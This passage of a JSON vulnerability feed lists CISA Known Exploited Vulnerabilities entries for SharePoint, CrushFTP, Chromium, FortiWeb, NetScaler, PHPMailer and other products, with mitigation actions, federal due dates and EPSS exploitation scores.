unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.64726,"percentile":0.99237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-2776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-2776","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-2776 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-2776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-2776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-49704","cveId":"CVE-2025-49704","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Code Injection Vulnerability","summary":"Microsoft SharePoint contains a code injection vulnerability that could allow an authorized attacker to execute code over a network. This vulnerability could be chained with CVE-2025-49706. CVE-2025-53770 is a patch bypass for CVE-2025-49704, and the updates for CVE-2025-53770 include more robust protection than those for CVE-2025-49704.","detail":"CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2025-07-22","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-22","dueAt":"2025-07-23","action":"Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99995,"percentile":0.99988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-49704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-49704","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-49704 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-49704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-49704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-49706","cveId":"CVE-2025-49706","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Improper Authentication Vulnerability","summary":"Microsoft SharePoint contains an improper authentication vulnerability that allows an authorized attacker to perform spoofing over a network. Successfully exploitation could allow an attacker to view sensitive information and make some changes to disclosed information. This vulnerability could be chained with CVE-2025-49704. CVE-2025-53771 is a patch bypass for CVE-2025-49706, and the updates for CVE-2025-53771 include more robust protection than those for CVE-2025-49706.","detail":"CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2025-07-22","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-22","dueAt":"2025-07-23","action":"Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99057,"percentile":0.99931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-49706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-49706","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-49706 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-49706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-49706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-54309","cveId":"CVE-2025-54309","aliases":[],"kind":"vulnerability","title":"CrushFTP Unprotected Alternate Channel Vulnerability","summary":"CrushFTP contains an unprotected alternate channel vulnerability. When the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS.","detail":"CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-22","updatedAt":null,"regions":["Global"],"vendor":"CrushFTP","product":"CrushFTP","stacks":["CrushFTP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-22","dueAt":"2025-08-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93473,"percentile":0.99838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-54309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-54309","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-54309 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-54309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-6558","cveId":"CVE-2025-6558","aliases":[],"kind":"vulnerability","title":"Google Chromium ANGLE and GPU Improper Input Validation Vulnerability","summary":"Google Chromium contains an improper input validation vulnerability in ANGLE and GPU. This vulnerability could allow a remote attacker to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-22","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium","stacks":["Google Chrome","Google","Chromium"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-22","dueAt":"2025-08-12","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10927,"percentile":0.95848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-6558&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-6558","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-6558 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-6558&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-6558, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-25257","cveId":"CVE-2025-25257","aliases":[],"kind":"vulnerability","title":"Fortinet FortiWeb SQL Injection Vulnerability","summary":"Fortinet FortiWeb contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.","detail":"CISA added this entry on 2025-07-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-18","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiWeb","stacks":["Fortinet","FortiWeb"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-18","dueAt":"2025-08-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99921,"percentile":0.99969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-25257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-25257","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-25257 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-25257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-25257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-47812","cveId":"CVE-2025-47812","aliases":[],"kind":"vulnerability","title":"Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability","summary":"Wing FTP Server contains an improper neutralization of null byte or NUL character vulnerability that can allow injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default).","detail":"CISA added this entry on 2025-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-14","updatedAt":null,"regions":["Global"],"vendor":"Wing FTP Server","product":"Wing FTP Server","stacks":["Wing FTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-14","dueAt":"2025-08-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93884,"percentile":0.99843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-47812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-47812","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-47812 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-47812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-47812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-5777","cveId":"CVE-2025-5777","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and Gateway Out-of-Bounds Read Vulnerability","summary":"Citrix NetScaler ADC and Gateway contain an out-of-bounds read vulnerability due to insufficient input validation. This vulnerability can lead to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.","detail":"CISA added this entry on 2025-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-10","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-10","dueAt":"2025-07-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99972,"percentile":0.99978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-5777&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-5777","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-5777 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-5777&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-5777, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-3931","cveId":"CVE-2014-3931","aliases":[],"kind":"vulnerability","title":"Multi-Router Looking Glass (MRLG) Buffer Overflow Vulnerability","summary":"Multi-Router Looking Glass (MRLG) contains a buffer overflow vulnerability that could allow remote attackers to cause an arbitrary memory write and memory corruption.","detail":"CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-07","updatedAt":null,"regions":["Global"],"vendor":"Looking Glass","product":"Multi-Router Looking Glass (MRLG)","stacks":["Looking Glass","Multi-Router Looking Glass (MRLG)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-07","dueAt":"2025-07-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28978,"percentile":0.98143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-3931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-3931","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-3931 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-3931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-3931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-10033","cveId":"CVE-2016-10033","aliases":[],"kind":"vulnerability","title":"PHPMailer Command Injection Vulnerability","summary":"PHPMailer contains a command injection vulnerability because it fails to sanitize user-supplied input. Specifically, this issue affects the 'mail()' function of 'class.phpmailer.php' script. An attacker can exploit this issue to execute arbitrary code within the context of the application. Failed exploit attempts will result in a denial-of-service condition.","detail":"CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-07","updatedAt":null,"regions":["Global"],"vendor":"PHP","product":"PHPMailer","stacks":["PHP","PHPMailer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-07","dueAt":"2025-07-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99714,"percentile":0.99952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-10033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-10033","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-10033 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-10033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-10033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-5418","cveId":"CVE-2019-5418","aliases":[],"kind":"vulnerability","title":"Rails Ruby on Rails Path Traversal Vulnerability","summary":"Rails Ruby on Rails contains a path traversal vulnerability in Action View. Specially crafted accept headers in combination with calls to `render file:` can cause arbitrary files on the target server to be rendered, disclosing the file contents.","detail":"CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-07","updatedAt":null,"regions":["Global"],"vendor":"Rails","product":"Ruby on Rails","stacks":["Ruby on Rails","Rails"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-07","dueAt":"2025-07-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98507,"percentile":0.9992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-5418&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-5418","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-5418 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-5418&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-5418, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-9621","cveId":"CVE-2019-9621","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery (SSRF) Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery (SSRF) vulnerability via the ProxyServlet component.","detail":"CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-07","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-07","dueAt":"2025-07-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81037,"percentile":0.99628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-9621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-9621","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-9621 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-9621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-9621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-6554","cveId":"CVE-2025-6554","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that could allow a remote attacker to perform arbitrary read/write via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2025-07-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-02","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-02","dueAt":"2025-07-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14142,"percentile":0.96548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-6554&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-6554","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-6554 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-6554&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-6554, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48927","cveId":"CVE-2025-48927","aliases":[],"kind":"vulnerability","title":"TeleMessage TM SGNL Initialization of a Resource with an Insecure Default Vulnerability","summary":"TeleMessage TM SGNL contains an initialization of a resource with an insecure default vulnerability. This vulnerability relies on how the Spring Boot Actuator is configured with an exposed heap dump endpoint at a /heapdump URI.","detail":"CISA added this entry on 2025-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational 